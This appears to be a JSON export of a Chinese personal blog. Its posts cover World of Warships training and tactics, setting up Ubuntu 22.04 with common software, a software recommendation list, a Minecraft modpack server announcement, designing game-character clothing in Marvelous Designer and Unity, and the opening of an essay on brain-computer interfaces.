四个档位的速度行驶，互相攻击，练习放提前量，记录击杀次数和击杀用时。（适合学员对学员练习，相互进步。击杀次数更多用时更短表示有进步。）\n和伙伴两两组队开训练房，其中教练开不同的船只与学员横向对排行驶，教练不允许左右摆动躲避炮弹，只允许按前进后退，分别按1/4, 1/2, 3/4, FULL 四个档位的速度行驶，让学员攻击，练习放提前量，记录击杀次数和击杀用时。（适合教练对学员练习，击杀次数更多用时更短表示学员有进步。）\n日期和时间 学员ID 船名 击杀次数 平均击杀用时 第一局 第二局 2022年1月11日晚 JingJing 果敢 2 3：05 3：20 2:50 驾驶练习题 选择 崇山峻岭 这幅地图，沿着岛链前进走s形，注意变换速度，推荐从1/4速度开始每过一个弯加一个档，满速后递减，记录总用时和撞山次数。\n选择崇山峻岭这幅地图，沿着岛链后退走S型，注意变换速度。推荐从1/4速度开始每过一个弯加一个档，满速后递减，记录总用时和撞山次数。\n由教官将船开到卡入山的位置，让学员视角看向不同方向（前后左右），根据撞击指示器倒船直至离开山体，记录总用时和撞山次数。\n推荐使用如下样式表格记录学员的训练成绩，以分析练习驾驶的问题。\n日期和时间 学员ID 船名 成功过弯次数/撞山次数 平均过弯用时/总用时 第一局 第二局 2022年1月11日晚 JingJing 果敢 2 3：05 3：20 2:50 雷击教学 如图（白线，但是小地图上落点在鱼雷射程外）是否可以击中敌人？\n假如你是巡洋舰，你是否需要躲避以下鱼雷？（重点要区分亚系的深水雷，可以攻击巡洋舰）\n假如你是朝潮，与对面驱逐舰近战释放鱼雷是否有效？\n训练房选择海洋图，与同伴两两结对，互相使用鱼雷攻击，但不能使用主炮攻击。和号数练习相似记录，击败时间和击中次数。\n维修小组练习题 举例说明，你需要用维修小组的情况。\n如何判断对面是否使用维修小组？\n雷达，水听练习题 举例你觉得雷达的主要用处。\n举例你觉得水听的主要用处。\n说出你对雷达最佳使用时间的理解。\n说说你对水听最佳使用时间的理解。\n雷达可以发现鱼雷吗？\n水听可以发现烟雾中的船只吗？\n烟雾练习题 选择海洋图训练房，开局满速行驶，直到被敌方发现开出第1炮时，拉烟掩护自身灭点。记录被发现，到完全灭点的用时。（自行感受减速拉烟的配合，个人推荐先减速至1/2，后拉烟）\n根据地图选择最佳拉烟位置。（要注意避开敌方雷达范围，以达到最佳掩护效果。）\n说出你理解的最不应该拉烟的情况。\n第二章 进阶教学 计算提前量、核心与盲烟 一、瞄准与射击：远距离炮术核心 计算提前量 核心用途：用于狙击远距离保持稳定航向航速的目标。 操作方法：战列舰主炮射程远、炮弹飞行时间长，必须根据敌舰的距离、航向和航速，估算出一个提前的瞄准位置（即“提前量”），使炮弹与目标在未来位置交汇。这是远距离炮术的基本功。 二、鱼雷战术：外切雷、内切雷、骗炮雷、封路雷 内切雷与外切雷 核心思路：基于对敌舰规避行为的预判进行布设。判断的关键在于敌舰的航向相对于鱼雷来袭方向的变化。\n内切雷：预判敌舰将 “迎向”鱼雷方向转向（即船头朝向鱼雷来袭方向转动）。这种操作常是敌方为规避炮火或进行反击时的激进走位。内切雷旨在捕捉其转向后与鱼雷航线交汇的瞬间。 外切雷：预判敌舰将 “背向”鱼雷方向转向（即船头远离鱼雷来袭方向转动）。这种操作常是敌方为安全撤退或谨慎规避时的选择。外切雷旨在覆盖其向外转向后的逃离路径。 骗炮雷 核心思路：利用炮击吸引注意力，进行心理博弈。 操作方法：先向敌舰可能行进的区域撒出鱼雷，然后立即用主炮开火吸引其注意。当对手专注于与你进行炮战对射时，其注意力会集中在瞄准镜上，容易忽略鱼雷警告，导致发现过晚、规避不及。\n封路雷 核心思路：限制走位，打乱节奏，创造机会。 操作方法：\n针对冲锋：在正面冲锋的敌舰（如战列舰）必经之路上布设密集雷线，迫使其减速、转向或承受伤害。\n横向封锁：在关键海域通道横向布雷，阻断敌方推进或支援路线，逼迫对方改变航向露出侧面，或延缓其进攻节奏。\n三、走位与团队配合：架炮、交叉和集火 架炮 核心思路：寻求安全的输出位置。 操作方法：\n地形利用：依托岛屿等掩体，仅露出部分船体（如船头或炮塔）进行攻击，最大限度减少自身暴露面积。\n射程把控：在“公海”利用自身射程优势，在敌方有效射程外进行攻击，实现安全消耗。\n交叉火力的重要性 问题：如果多名友舰聚集在同一方向，所有火力线平行，敌方只需一次转向或躲入一个掩体，就能规避所有攻击。 解决方案：与队友分散站位，形成45-90度的交叉火力夹角。这会使敌舰陷入“躲得了左边，躲不了右边”的致命困境，极大增加其生存压力。\n集火 核心思路：集中力量，快速歼灭关键目标。 操作方法：通过沟通，号召所有能攻击到的队友，在短时间内将火力集中于同一高价值目标（如冲锋的战列舰、暴露的航母等）。 战术价值：通过高密度投射，迅速造成减员，打破战场平衡，是扭转战局或巩固优势的关键。\n四、我就是水里灵活的狗：躲炮、躲雷、躲飞机 通过灵活运用加速、减速、左右转向（摆舵）等操作，可以有效躲避大部分来自敌舰的炮弹。其核心在于，您的每一次机动都会改变自身的未来位置，从而“欺骗”对手基于您当前航向所计算的提前量。\n船只在有航速的情况下转弯，其轨迹是一个圆弧。转弯半径的大小，除了取决于船只本身的转向能力（如舵效）外，还与当前的航行速度直接相关：速度越快，转弯半径越大，转向越笨重；速度越慢，转弯半径越小，转向越灵活。\n因此，当您需要在最短时间和最小空间内完成紧急转向（例如规避鱼雷或突然出现的山体）时，一个关键技巧是：先迅速减速至1/2或1/4航速，然后再进行满舵转向，这样能实现最敏捷的规避。\n根据不同的战术场景，躲炮技巧主要分为三类：\n拖刀躲炮：在战略撤退时，保持船尾对敌，通过细微的左右摆舵来干扰敌方瞄准，在保证撤离效率的同时最大化生存几率。 侧身躲炮：在遭遇战或缠斗中，适时将船身侧面对敌以发挥全部火力，并在敌方开火后立即向内或向外转向，利用船体角度“甩开”炮弹。 前进躲炮：在推进攻击时，采用不规则的加减速配合左右转向，使敌方无法准确预判您的行进节奏，从而规避火力。 无论哪种方式，其核心思想都是利用敌方瞄准所需的“提前量”所产生的时间差，通过主动、不可预测的机动来破坏其瞄准解算，让炮弹落在您上一秒的位置。\n细节姿势可以参考【凯瑟林教室】最细躲炮教学~炮+火箭弹 其实都能躲呢 三层防御体系\n","date":"2022-08-14T21:42:24Z","image":"https://newblogimg.oss-cn-beijing.aliyuncs.com/blog/2020PicGo/20200410184441.png","permalink":"/post/%E6%88%98%E8%88%B0%E4%B8%96%E7%95%8C%E8%90%8C%E6%96%B0%E5%85%A5%E9%97%A8%E6%8C%87%E5%8D%97/","title":"战舰世界萌新入门指南"},{"content":"办公电脑配置和基本情况 我的办公电脑使一台配置较老的联想台式机，原本是安装的Win7系统，但是已经非常迟钝了。\nIntel(R) Core(TM) i5-3470 CPU @3.20GHz 3.20 GHz 4.00 GB 64 位操作系统 还安装有360，360桌面助手等软件，广告弹窗乱跳，桌面是密密麻麻的文件夹。 我在询问前同事是否还有残留文件，以及询问领导之后，允许我重置系统。 我先作死的尝试Win10，不出意外，15分钟就蓝屏了。然后尝试刷Win7，速度也没有多大改善。 这时候我想到，或许可以尝试一下Linux发行版。\n我在大学期间，在自己的笔记本上物理刷机，尝试了多种Linux的发行版，包括一些以轻量化为主的Tiny Core，还有Puppy一类， 还折腾过树莓派。在微软对Win10频繁更新升级的那段时间里，我受不了禁用也禁用不了的自动更新，直接给笔记本物理整机安装了Ubuntu16.04， 并保持使用了一年时间。我使用WPS查看课件，写Word提交作业，登录学校网页选课签到，用Latex写论文，编程环境更不用说了，Linux更有优势。 直到2019年参加“Unity虚拟现实技术”通识课的培训，因为VR在Win平台表现更好，驱动支持更多，不情愿的换回Win10。\n工作中使用的行业软件，有值班的业务计算机，已经全部安装了所需使用的所有行业软件。 在不值班的时候，也没有使用这些软件的必要。那么办公室的这台计算机，日常所承担的任务就是 写一下Word、PPT，浏览网页搜集信息，P一下图片，收发邮件，编程开发，写论文。 我认为Ubuntu完全可以胜任这些工作，而且由于Linux的特性，在这台老机器上还能有不错的速度，而且没有广告。\n安装软件 系统工具 Uget 使用sudo apt install uget下载即可。比大多数浏览器自己下载快，支持断点续传。非常适合下载大文件。\n搜狗拼音输入法 下载对应的.deb包，使用sudo dpkg -i sougou*.deb安装。安装后参考搜狗输入法for Linux 安装指南 设置输入法。我设置了ctrl激活输入法，而不是默认的ctrl + shift因为玩MC的时候要频繁下蹲，使用shift切换输入法非常麻烦。\n小技巧， 搜狗输入法按 ctrl + ： 可以打开粘贴板。\nPicgo GitHub页面 下载缓慢的可以看看山东大学镜像，下载Appimage版本。\n修改权限为可执行。你也可以再命令行中修改执行权限。然后输入以下命令。\n./PicGo-2.3.1-beta.3.AppImage --appimage-extract 将解压后的文件夹移动到任意文件夹，我移动到了/opt/Picgo文件夹下。再在/usr/local/share/application新建一个picgo.desktop文件，写入如下设置，即可在启动器中看到并启动。\n[Desktop Entry] Version=1.0 Name=PicGo Comment=Upload Picture On Web Keywords=Internet;Picture;Graphics; Exec=/opt/PicGo/picgo %u Terminal=false X-MultipleArgs=false Type=Application Icon=/opt/PicGo/picgo.png Categories=Graphics; StartupNotify=true 然后配置图床信息即可开始上床图片。\nGIMP Linux下简单修个图的软件，我在工作中还用他处理地形灰度图。\nVLC 安装很简单，一行命令搞定，自带多种解码器，如果网页打不开视频，安装这个之后刷新就可以。\nsudo apt install vlc Lxqt 桌面环境 默认的Ubuntu桌面环境还是比较卡顿，我换用了更加流畅的Lxqt。注意，最好是先安装Ubuntu22.04原版，然后再安装Lxqt桌面，不要直接用Lubuntu。默认的Lubuntu对中文的支持不是很好。\nsudo apt update sudo apt install lxqt 输入以上两行命令即可，安装完成后注销当前会话，选择Lxqt登录即可，比原生的Ubuntu更加流畅。\nRemmina 远程桌面和Todesk远程桌面 虽然都是远程桌面工具，但是这两个还是有区别的。\nRemmina用于连接有公网IP的服务器，比如我的MC服务器后台，是Windows Server系统的，Remina提供RDP，VNC等远程桌面协议的连接。\nTodesk用于在家的电脑，远程办公室的电脑，或者手机上连接电脑。个人用的电脑是没有公网ip的，若是为了远程搞穿透就太麻烦了，也不安全，所以Todesk这样的工具就可以帮助居家办公，或者出差的时候处理重要的文件。\n我也尝试过向日葵和Teamview，向日葵在Ubuntu22.04系统上不能显示桌面，Teamview之前爆出过漏洞安全问题，所以现在改的远程连接一次要tm的验证几百次，登录账户验证两次，还都是发邮件动态验证码的那种，打开我的设备要验证一次。更换过IP要验证一次，即便配置好了，也有一对一的数量限制（免费用户），不能更换设备。也就是说，我必须要在同一个电脑上和同一个Wifi下，一直开着电脑（关机过登录要重新验证）才能即开即连。换过Wifi或换设备，就要重新验证或者注销之前的登录，然后走两步登录验证，新设备确认，被控设备确认才可以连接。\n直接无语，感情我出差的时候，原本打开电脑写几个字提交2分钟搞定 的事情，因为换了电脑或者换了Wifim，就要验证30分钟？\n火焰截图 falmeshot，这个比原版的截图好用。有点Windows上的snippest那个软件的感觉。\n浏览器 Firefox 火狐浏览器要安装国内版，默认Ubuntu源安装的是国际版，国际版国内访问慢，而且账户和手机不同步。如果你手机也用火狐浏览器，那么用国内版可以登录同一个账户，书签，历史记录，登录密码都可以共享。 首先删除原版的火狐sudo snap remove firefox 如果不行试试sudo apt-get purge firefox。Ubuntu22.04用了snap 管理安装，真是烦！安装方式参考 ubuntu20.04安装国内版firefox 从火狐中文网页上下载.deb安装包。\n解压到/opt/目录下\ntar jxvf Firefox-latest-x86_64.tar.bz2 -C /opt 更改属主\nsudo chown -R root:root /opt/firefox 创建桌面快捷方式\nsudo nano /usr/share/applications/firefox.desktop 写入以下设置\n[Desktop Entry] Name=firefox Name[zh_CN]=火狐浏览器 Comment=火狐浏览器 Exec=/opt/firefox/firefox Icon=/opt/firefox/browser/chrome/icons/default/default128.png Terminal=false Type=Application Categories=Application; Encoding=UTF-8 StartupNotify=true 创建启动程序链接\nsudo ln -s /usr/share/applications/firefox.desktop /usr/bin/firefox 下载好后登录即可，推荐几个插件：vimium C, 油猴脚本，ABP去广告，沙拉查词。\nChrome 谷歌浏览器的下载没有什么坑，直接在网页下载即可。\nhttps://www.google.cn/intl/zh-CN/chrome/\nFlash 问题 Flash 插件没有安装会显示网页无法播放问题，这时候安装安装VLC播放器，VLC自带很多解码器，，刷新页面或者重启浏览器就可以。\n网盘 坚果云 坚果云在Ubuntu上的表现比较优秀，界面打开也更流畅，没有出现黑框黑点。同步速度也挺快，占用不高。我之后会主要使用坚果云来同步文档。\n百度网盘 虽然是官方出的包，但我觉得可能只是Wine版的套壳，打开后资源占用非常严重还有无法退出的Bug，部分界面有难看的黑框和黑点。 “工作空间”似乎不能像Win版的一样自动同步，总之，我不会主要使用它同步工作文件。 主要是用来下载其他人分享的百度网盘链接。\n办公通讯 WPS Ubuntu自带的LibreOffice字体个格式都不符合国人使用习惯，卸载他。然后安装WPS，也是官网安装，没有什么坑。虽然WPS仍然存在字体和MicroSoft Office 不一样的尴尬。但我觉得这是小问题，一方面WPS开发者也在努力兼容更多字体；另一方面，从用户群体角度看，只要大家都用WPS，那么就不存在字体不兼容的问题了。一个好的消息是，我的同事大多数都再用WPS，Office也在用，只是为了打开某些上级用老古董电脑发的文件。真的，有些落后的技术，能淘汰就淘汰吧，比如只能用IE打开的公文系统。\n微信 从优麒麟应用下载界面下载最新版，是微信为统信系统制作的，但是Ubuntu也能用。但也只是能用而已，懒得下载的还可以用文件传输助手网页版应付以下收发群文件的任务，配合手机再转发到群。\nQQ For Linux 从官方下载，丑的出奇，只是能用而已。收发文件特别丑，看图片要在浏览器看。还莫名其妙闪退。\n钉钉 钉钉可以用网页版，但也只是能发消息文件，钉钉的高级应用比如项目，日志，知识库，这些用不了。\n雷鸟邮件客户端 apt 下载即可，我这个是换lxqt桌面时候自动安装的。工作中的需要发送的文件我都是直接发同事QQ邮箱，一开始同事们对从邮箱收文件有点奇怪，但是解释之后也就习惯了。\n编程环境 nvim 我抛弃了一直使用的vscode，虽然我知道他有开源版，因为一些个人原因，看不惯不想用，所以换了nvim。相关配置在我的另一个仓库。如果有时间我还想试试另一个神器Emacs。 记得安装 xclip 以获得系统剪切板访问支持\nonmyzsh 这个不解释，没有zsh我就是路径都不会打的菜鸡。zsh极大的方便了我在终端下的一些命令操作。\npython 和gcc 编程环境，比Windows下更省心的是直接apt安装就好，不用设置path。\nranger 终端下的文件管理器，我使用还不太熟练，记得要安装ueberzug显示图片。命令是pip install ueberzug。\nasciinema 终端代码录制 想不起来有什么用，但是万一录制什么重要步骤的时候有用呢。\nlazygit 终端下git客户端，真的太方便了，查看状态，添加，提交 push一条龙，顺滑~。再也不用打好多git命令了。\ncalcurse 终端日历 他就是很好看，那种很酷，又很好用的那种，日历同步我用sshpass scp XXX命令同步到我服务器，然后设置crontab每隔20分钟同步一次。手机上输入服务器的ics文件的地址，设置同步，每隔15分钟同步一次。使用感觉挺好的，虽然这样不是很安全，以后我可能会考虑建一个caldav服务。\nexa 高级ls 就是有彩色的ls输出效果，颜狗如我已经抛弃了KDE这样的界面，最后的一点坚持就是终端要彩色的。\ni3 桌面 配套安装rofi compton feh variety，主要参考了https://space.bilibili.com/13081489 的配置，我的vim和ranger的配置也基本是参考（照抄）他的配置。只是一些复杂的配置还有Ubuntu不支持或者arm不支持的软件就没有安装了。一开始用的时候有些不适应，习惯了之后我连lxqt桌面都不开了。\naria2 下载神器，uget也内置，但是uget是有界面的，有时候就是终端环境懒得开界面就用这个。比curl好用多了。\ncurl wttr.in 气象人一定要看天气\nfzf 模糊查找工具，没有配合好，还不太会用。\n视频剪辑和三维建模 想不到吧，我还会剪视频还会画3D模型。\n剪视频我用Shotcut和Audacity，分别处理画面和音频。\n建模用opensCAD，体积小，速度快，就是命令行建模的方式让你，梦回《AutoCAD2004从入门到放弃》。\n摸鱼 MineCraft 参考Linux下安装Oracle JDK8， 到Oracle JDK8下载界面 下载java8，注意因为java8自带javafx，所以下载本体即可。java8以后的版本javafx分开了，要单独下载。 在终端配置文件.bashrc下加入以下字段。\n#-----安装java8-------- JAVA_HOME=/usr/local/java/jdk1.8.0_331 PATH=$JAVA_HOME/bin:$PATH CLASSPATH=.:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar export JAVA_HOME export PATH export CLASSPATH 在HMCL的GitHub界面下载HMCL.jar版本。\n在桌面创建启动器\n命令填写 java -jar HMCL-*.jar\n图标解压HMCL.jar获得。给启动器执行权限即可启动。如果遇到没有反应的问题，在终端运行java -jar HMCL.jar 查看问题解决。\n使用体验 因为我的工作本身就是偏向开发的，而且我个人有丰富的linux使用经验，所以使用非Windows系统对我来说没有什么难度。办公上的困难在于WPS打不开一些用MicroSoft Office写的特殊字体的文件，这个是协作问题。向我之前说的，这不是WPS自身的问题，是整个办公环境的问题。\nQQ和微信是真的难用，我处理消息一般是在同事的电脑上或者其他公共电脑上。QQ发文件丑的要死，还不能艾特，界面满满的年代回忆感觉。讲真，用IRC聊天都比这个好。\nLinux的一些发行版真的非常适合老旧电脑使用，尤其是搭配轻量的i3桌面管理器，4GB用起来也十分流畅，除了开浏览器看视频的时候开3个标签页就开始卡顿；其余时间还是非常流畅的，打字还有跑一些终端程序的时候是没有压力的。但是Ubuntu22.04是真的难用，越来越卡，还用snap，这一点比微软还恶心。有时间我要重新刷个新的系统。\n有了这次的经历，我又买了一个树莓派，用作我的出行Laptop。4GB处理一点简单的文字就够用了，大型的程序或者工作，我可以外出的时候远程链接到家里的台式机或者单位的台式机，再集中处理。基于这样简单的需求，使用树莓派完全可以，还轻便。这个下期文章再讲。\n","date":"2022-05-13T13:31:25Z","image":"https://newblogimg.oss-cn-beijing.aliyuncs.com/2022/202205131330413.png","permalink":"/post/%E5%8A%9E%E5%85%AC%E7%94%B5%E8%84%91%E4%BD%BF%E7%94%A8ubuntu22-04/","title":"办公电脑使用Ubuntu22.04"},{"content":"分享一下我工作、学习和娱乐中用的软件和工具网站。\n系统软件 搜狗输入法 https://pinyin.sogou.com/ 输入法随便哪个都差不多，我在手机上更喜欢使用讯飞输入法，下载搜狗的唯一用处就是他是唯一支持《战舰世界》这个游戏聊天框打字的输入法。\nlistary https://www.listary.com/ 双击ctrl呼出搜索框，可以搜索文件和应用，还能快捷打开浏览器。用了就停不下来。支持拼音首字母搜索和自动补全。 微软自己出的PowerToys虽然功能强大，也有搜索功能，但是不支持拼音首字母搜错和自动补全，基本是要你自己清除的记得文件名要什么才能搜索出来，对于中文用户来说很不友好。\ncoodesker 酷呆桌面 https://www.coodesker.com/ Fences 的免费平替版本，没有广告，没有捆绑，不会换壁纸，也没有便签，就是一个简单的桌面分类。如果你只想要一个桌面分类软件，这个就很合适。还有桌面不要放置文件夹，在电脑安装之初就要将桌面文件夹的地址从C盘移动到D盘。 PicGo https://molunerfinn.com/PicGo/ 上传图片到图床自动返回指定格式的图片链接，写markdown，网页的好帮手。\nHoneyView https://www.bandisoft.com/honeyview/ 可以快捷的查看图片，打开速度超级快，他家还有Honeycam也值得一用，是动图制作软件，但是收费，10s以上的收费。可以隐藏边框只是用快捷键查看图片。HoneyView的快捷键\nSnipaste https://www.snipaste.com/ F1 键截图，截图后还能标注箭头，文字等，然后保存，或者悬停在桌面上。\nDitto https://ditto-cp.sourceforge.io/ 剪贴板软件，可以储存多个剪贴板字段，然后搜索回放， Quicker https://getquicker.net/ 工具箱软件，可以自定义一些动作片段，也可以用别人做好的片段，我常用的是OCR和重命名。 Mathpix https://mathpix.com/ 可以识别图片中的公式转化为LaTeX格式，手写的也能识别。简直是理科生福音。\nvlc https://www.videolan.org/ VLC播放器几乎能播放所有音频视频文件，还支持播放推流文件，打开速度快，无广告。\n格式工厂 7zip EPUB Converter 网易邮箱大师 坚果云 百度网盘 向日葵 火绒 编程学习和建模 MCreator BlockBench http://www.electronjs.org/apps/blockbench 用于给MC模型建模用的，可以快速查看贴图和模型，也可以做简单的MC风格的模型。对于MC开发贴合度非常好。\niSilider 小恐龙 3Dmax Maya PS Gimp paint https://www.getpaint.net/\nMobaXterm Unity Marverlous Designer imageMagick VScode 片段输入 Pandoc Prince Calibre git Qt designer 插件推荐\nGlobal Mapper 91卫图助手 Wolai Firefox Chrome 视频制作与直播 OBS 跨博插件 小葫芦 开黑啦 Womic 无他伴侣 万兴瞄影 Pr Ae 达芬奇 网易云音乐 Arctime Audacity Sibelius https://www.avid.com/zh/sibelius\nFlStudio 游戏 Ubisoft steam KK联机加速器 战舰世界 MC 极云普惠 编程语言 Python C C++ C# Java html\nLinux环境 ","date":"2022-03-01T13:26:49Z","image":"https://bugatii100peaglepics.oss-cn-qingdao.aliyuncs.com/2021/20220301132727.png","permalink":"/post/%E6%88%91%E7%9A%84%E6%A1%8C%E9%9D%A2%E5%B8%B8%E7%94%A8%E8%BD%AF%E4%BB%B6%E5%88%86%E4%BA%AB/","title":"我的桌面常用软件分享"},{"content":"LSP是一个我的世界私人服务器，为庆祝新年，2022年1月1日开启全新周目。1.18.1高版本mc，加入机械动力，夸克等模组，配合任务书的玩法，给你带来新版本的体验。 文末有加群二维码，或者点击链接加入群聊【LSP 服务器 咕咕唠嗑】：https://jq.qq.com/?_wv=1027\u0026amp;k=tXCuFsYA 下载整合包，服务器地址已在压缩包内。 下载后首先安装java17，安装包已在 .zip 中。\n安装至任意位置，建议放在D盘，不要放C盘。然后双击文件更新助手-1.0.3.jar，程序会自动更新mods, config等文件夹。后续如有更新请自行点击文件更新助手-1.0.3.jar更新即可，若出现进不去服务器的情况，请先点击文件更新助手-1.0.3.jar更新一下试试。\n更新完成之后点击蓝色的PCL启动器，登录账号，老玩家用的正版mojang账号和新注册的正版微软账号都支持，没有买账号的可以用离线登录，起一个名字就行，用英文，中文会崩。然后点击启动游戏即可。 加载完成后，点击多人游戏，然后点击mingcraft服务器，加入即可。 模组列表：\n[Cloth Config API] cloth-config-6.1.48-forge.jar [Corail的墓碑] tombstone-7.3.2-1.18.jar [JEI物品管理器] jei-1.18.1-9.1.1.48.jar [储物抽屉] StorageDrawers-1.18.1-10.0.1.jar [村民物品化／简单村民] easy_villagers-1.18.1-1.0.0.jar [单机][FPS减速器] FpsReducer-forge-1.25-mc1.18.jar [单机][Just Enough Resources] JustEnoughResources-1.18.1-0.13.1.141.jar [单机][Xaero的世界地图] XaerosWorldMap_1.18.9_Forge_1.18.jar [单机][Xaero的小地图] Xaeros_Minimap_21.22.6_Forge_1.18.jar [单机][附魔描述] EnchantmentDescriptions-Forge-1.18.1-9.0.4.jar [单机][键位冲突显示] Controlling-forge-1.18.1-9.0.7.jar [单机][聊天头像] chat_heads-0.6.0-forge-1.18.1.jar [单机][模组目录] catalogue-1.6.0-1.18.1.jar [单机][配置界面] configured-1.5.1-1.18.1.jar [单机][苹果皮] appleskin-forge-mc1.18-2.2.0.jar [单机][鼠标手势] MouseTweaks-forge-mc1.18-2.21.jar [单机][万用皮肤补丁] CustomSkinLoader_ForgeActive-14.13-SNAPSHOT-309.jar [单机][自动钓鱼Forge版] forgeautofish-4.0.1-1.18.x.jar [单机]wwta-1.18-1.0.jar [飞轮] flywheel-forge-1.18-0.4.2-rc.jar [更好的经验修补] BetterThanMending-1.7.1.jar [机械动力] create-mc1.18.1_v0.4a.jar [简单存储] SimpleStorageNetwork-1.18-1.5.1.jar [建筑之杖] constructionwand-1.18.1-2.6.jar [经验机制改革] Clumps-forge-1.18.1-8.0.4.jar [精妙背包] sophisticatedbackpacks-1.18.1-3.14.3.485.jar [夸克] Quark-3.0-334.jar [困难任务] HQM-1.18.1-5.9.0-forge.jar [烹饪锅] CrockPot-1.18.1-1.1.1-release.jar [时间之瓶] time-in-a-bottle-2.1.0-mc1.18.1.jar [时装盔甲重置版] CosmeticArmorReworked-1.18.1-v1.jar [试验假人] MmmMmmMmmMmm-1.18-1.5.0.jar [属性修复] AttributeFix-Forge-1.18.1-13.0.3.jar [无限+经验修补] InfinityMending-1.17-0.1.0.jar [玉 🔍] Jade-1.18-4.1.0.jar [资源蜜蜂] productivebees-1.18.1-0.8.0.3.jar [自然罗盘／生物群系指南针] NaturesCompass-1.18.1-1.9.4-forge.jar [作物盛景] Croptopia-1.18-FORGE-1.7.4.jar architectury-3.3.3.jar AutoRegLib-1.7-52.jar balm-2.3.1+0.jar caelus-forge-1.18-3.0.0.1.jar camera-1.18.1-1.0.0.jar curios-forge-1.18.1-5.0.4.2.jar curiouselytra-forge-1.18.1-5.0.0.1.jar Easy Emerald-1.18.1-3.2.0.jar EasyEmerald-Forge-1.18.1-1.3.5.jar FarmersDelight-1.18.1-1.0.0.jar morevillagers-FORGE-1.18.1-3.1.0.jar Shrines-1.18.1-3.0.0-Beta4.jar waystones-forge-1.18.1-9.0.1.jar xptome-1.18-2.1.3.jar ","date":"2021-12-28T15:26:05Z","image":"https://bugatii100peaglepics.oss-cn-qingdao.aliyuncs.com/2021/20211228152537.png","permalink":"/post/lsp%E6%9C%8D%E5%8A%A1%E5%99%A82022%E6%96%B0%E5%B9%B4%E8%B4%BA%E5%B2%81/","title":"LSP服务器2022新年贺岁"},{"content":"憋在家里很无聊，我突然想把之前卸载的《闪耀暖暖》装回来玩玩，想到闪耀暖暖刚开玩的时候我在知乎上的已回答。想了想，女鹅是真漂亮，然而我的钱包是真的穷。\n所以，我又重新拾起自己给女鹅做衣服的想法，之前一些技术帖已经披露出暖暖是用Unity3D做的，之前我就猜如此高质量质感的衣服应该是用了专业的服装设计软件——Marvelous。果然，去年年底的Unity专场技术分享会上叠纸游戏美术总监柳丛就说用的是Marvelous(视频28:31，柳总说的是Marperles，大概是口误？)\nUnity3D和Marverlous恰好我都会用，那么，咱们就开始给女鹅做衣服吧。\nNikiki模型导入 关于暖暖模型从哪里来，怎么提取，我只能说暖暖无处不在，只要你手机里有暖暖，理论上你可以把女鹅的身体和全套衣服都扒下来，参考教程 [LAB]闪耀暖暖拆包记，如果你懒得自己动手某宝上8块钱（最终还是氪了8块钱？）。破解拆包的暖暖是fbx格式的，某宝则也提供.max格式还有各种材质贴图。\n我自己破解技术不到家，弄出来的暖暖缺胳膊少腿，脸还好像烧伤一块似的。\n最后还是用某宝卖家的模型了。\n加上头发和眼镜，为了避免穿模，特地选用短发发型。\n然后设置相机位置，调整到合适角度，这里参考柳总给的25度。\n导入两个插件，ExportSceneToObj 和 UnityFBXExporter，在Unity中调整好发型和身体，新建一个Gameobject套住发型和身体的模型，调整好材质颜色（这里脸和身体肤色不一样，脸部用了妆面）。然后使用插件把暖暖导出为.obj和.fbx格式。\n设计暖暖的衣服 打开Marvelous软件，导入暖暖模型，建议采用.obj导入，.fbx导入会出现大小不匹配问题。导入obj时注意选择单位为米。之前我已经给暖暖画了一个基本的裙子，只是当时忘了录屏。\n不过不要紧，后半段我录下来了，操作基本都一样，画面片缝合。衣服做好后点击模拟做微调，然后把2D板片尽量放在一起便于导出UV（视频里导出的UV还是有点问题）。然后，去掉模特暖暖只要衣服。\n点击导出，导出为fbx，可以选择连纹理一起导出。\n给暖暖穿衣服 Marvelous就能导出 .obj 和 .fbx 的模型，可以再导入到3Dmax或者ZBrush中做微调和更细致的UV展开，也可以直接就导入到Unity3D中组合。\n在Unity3D中再给衣服建材质球，贴UV。\nTODO 下期尝试好好把UV弄一弄。 视本人发量决定加骨骼动画，碰撞体绑定。 最后的最后，我想知道柳总和他的团队的小哥哥小姐姐们掉了多少头发。\n","date":"2020-04-10T18:41:24Z","image":"https://newblogimg.oss-cn-beijing.aliyuncs.com/blog/2020PicGo/20200410184441.png","permalink":"/post/%E7%A1%AC%E6%A0%B8%E9%9B%B6%E6%B0%AA-%E6%B0%AA%E4%B8%8D%E8%B5%B7%E6%9A%96%E6%9A%96-%E4%B9%B0%E4%B8%8D%E8%B5%B7%E8%A1%A3%E6%9C%8D%E7%BB%99%E5%A5%B3%E5%84%BF%E7%A9%BF%E4%BA%86%E6%80%8E%E4%B9%88%E5%8A%9E-%E8%87%AA%E5%B7%B1%E5%81%9A%E4%B8%80%E4%B8%AA/","title":"【硬核零氪】氪不起暖暖，买不起衣服给女儿穿了怎么办？自己做一个"},{"content":"接入脑机接口，到达梦境世界，构建虚拟人格。\n脑机接口 说起脑机接口，我第一次了解这个概念还是在追番的时候，那时《刀剑神域》正在热播，我和大多数中二少年一样，幻想着自己也有一台NERvGear，也能穿越到游戏世界中，开始挑战魔兽的冒险生活。\n中学时代的幻想毕竟只是幻想，很快我又不得不投入紧张的复习中去。但不得不承认的是，虚拟现实，潜行技术，脑机接口，这些字眼已经印在我脑海中了。上了大学，我在接触到编程和虚拟现实技术之后，就投入了极大的兴趣。中学时代我在科学美国人杂志上看到一篇报道，称脑机接口已完成理论进入实验阶段。那时我就在期待着，科技如此迅猛的发展，我有生之年可以体验一下SAO的世界吗？\n脑机接口的原理解释起来可以很简单（实现起来不简单），脑子里的神经通过神经元细胞传递信号，这个信号的载体就是“电”。高中生物中就解释过相关原理。\n而电又是人类目前已经十分熟悉的东西了，如果能给脑子接一根电线，让一个控制器扫描电信号，控制电信号传出传入，不就是传说中的脑机接口吗？而马斯克就将传说拉入了现实。\n不得不说马斯克真是个神人，但就目前而言，脑机接口技术还尚未成熟。视频中所示的装置面临的问题有：\n感染问题。毕竟是在脑子上开了个洞，即便手术时保证无菌，在使用过程中也面临着感染问题。况且，这玩意装好了，也不保证完全不会坏。隔三岔五要在脑子上开个洞维修更新，不是谁都受得了。远的不说，就说现在装个心脏起搏器，也是要定期做手术取出维修换新的。 成本问题。要体验一次脑机接口，要承担手术费和设备费，还有可能有马斯克公司的会员费，不是每个人都消费得起。 